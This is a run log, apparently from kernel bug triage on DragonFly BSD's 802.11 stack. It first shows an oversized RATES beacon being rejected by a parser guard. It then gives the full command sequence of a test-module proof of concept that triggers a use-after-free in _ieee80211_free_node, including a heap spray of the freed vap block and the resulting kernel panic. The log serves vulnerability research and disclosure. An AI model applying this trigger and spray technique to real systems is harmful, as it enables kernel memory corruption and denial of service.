DF-3314 / run.log
# DF-3314/DF-3315 baseline run (stock INVARIANTS kernel #0), full command sequence
# via dfbsd-qemu/vm.sh run_root. Decisive console output at the end.
== setup ==
root# uname -a
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC x86_64
# (negative-evidence run first: rates-IE guard fires on the beacon path)
root# kldload /root/fw3/fw3.ko
root# sysctl kern.fw3_info=1
fw3.info: sizeof(struct ieee80211_node) = 12208
fw3.info: sizeof(struct ieee80211_rateset) = 16 (rs_nrates 1 + rs_rates[15])
fw3.info: offsetof ni_essid = 589
fw3.info: offsetof ni_rates = 621 (rs_rates = +1 => 622)
fw3.info: offsetof ni_chan = 640 (+18 past rs_rates[0])
fw3.info: offsetof ni_meshid = 659 (+37)
fw3.info: offsetof ni_mltimer = 704 (+82) callout
fw3.info: offsetof ni_mlhtimer = 736 (+114) callout
fw3.info: offsetof ni_htcap = 762 (+140)
fw3.info: offsetof ni_htrates = 770 (+148)
fw3.info: offsetof ni_tx_ampdu = 848 (+226)
fw3.info: offsetof ni_rx_ampdu = 2640 (+2018)
fw3.info: offsetof ni_psq = 11864 (+11242)
fw3.info: offsetof ni_wdsvap = 12168 (+11546)
fw3.info: => 240 controlled bytes land past rs_rates[15]
root# ifconfig wlan create wlandev fw3_0 wlanmode adhoc ssid fw3ibss mode 11g channel 1 up
wlan0: ... status: associated (IBSS cell created, RUN)
root# sysctl kern.fw3_fire=200
fw3.fire: injecting beacon on wlan0 (state RUN, bssid 92:61:af:d3:05:12) with RATES IE len=200 mark=0x41
wlan0: received beacon from 02:00:de:ad:be:ef rssi 216
wlan0: [92:61:af:d3:05:12] discard beacon frame, bad scan->rates len 200
fw3.fire: returned from input -- no overflow?
--> ieee80211_parse_beacon's IEEE80211_VERIFY_ELEMENT(rates, 15) rejects the
oversized RATES IE *before* add_neighbor/init_neighbor/setup_rates. The
"remote rates-IE overflow via node.c:1559" candidate is DEAD (guarded).
(adhoc.c:697 checks parse_beacon()!=0; mesh.c:1904 and tdma.c:336 likewise;
hostap.c:2061-2064 and sta.c:1666-1670 VERIFY_ELEMENT directly.)
== DF-3315 trigger (freed-vap UAF in _ieee80211_free_node) ==
root# ifconfig wlan0 destroy; kldunload fw3
root# kldload /root/fw3/fw3.ko
root# ifconfig wlan create wlandev fw3_0 wlanmode sta ssid fw3sta mode 11g channel 1 up
wlan0: ... status: no carrier (STA vap scanning)
root# sysctl kern.fw3_sta=1
fw3.sta: wlan0 bss node 0xfffff80118740400 associd 0xc001, holding ref (held=13)
(associd simulates a completed MLME association -- sta.c:1683 assigns
exactly 1|0xc000; the held refs are what any in-flight frame through
ic_raw_xmit holds: fw3 emulates an async driver whose tx completes late.
13 refs accumulated from the vap's periodic probe-request mgmt output.)
root# ifconfig wlan0 destroy && echo VAP_DESTROYED
VAP_DESTROYED
(vap teardown: newstate(INIT) -> table_reset: drops the table ref, AID bit
cleared via the still-live vap, but ni_associd stays 0xc001; iv_bss ref
dropped; vap memory kfree'd (2640 bytes, M_80211_VAP))
root# sysctl kern.fw3_spray=1
fw3.spray: 32 x 2640-byte blocks filled with 0xb0
(reallocate the freed vap block with marker contents -- proves the stale
ni->ni_vap deref reads attacker-influenced freed/reused memory)
root# sysctl kern.fw3_release=1
fw3.release: late tx-complete of ni 0xfffff80118740400 (associd 0xc001, ni_vap 0xfffff80118718d00)
fw3.release: late tx-complete of ni 0xfffff80118740400 (associd 0xc001, ni_vap 0xfffff80118718d00)
... (13 lines total; the final ieee80211_free_node() is the last reference)
kern.fw3_release: 1 -> 1 <- sysctl never returns
== panic (serial console) ==
Fatal trap 9: general protection fault while in kernel mode
cpuid = 3; lapic id = 3
instruction pointer = 0x8:0xffffffff8077b8cd
stack pointer = 0x10:0xfffff80117ddc750
frame pointer = 0x10:0xfffff80117ddc798
code segment = base 0x0, limit 0xfffff, type 0x1b
= DPL 0, pres 1, long 0, def32 0, gran 1
processor eflags = interrupt enabled, resume, IOPL = 0
current process = 1259
current thread = pri 6
kernel: type 9 trap, code=0
CPU3 stopping CPUs: 0x00000037
stopped
Stopped at _ieee80211_free_node+0x2d: andl %esi,(%r8,%rax,4)
db>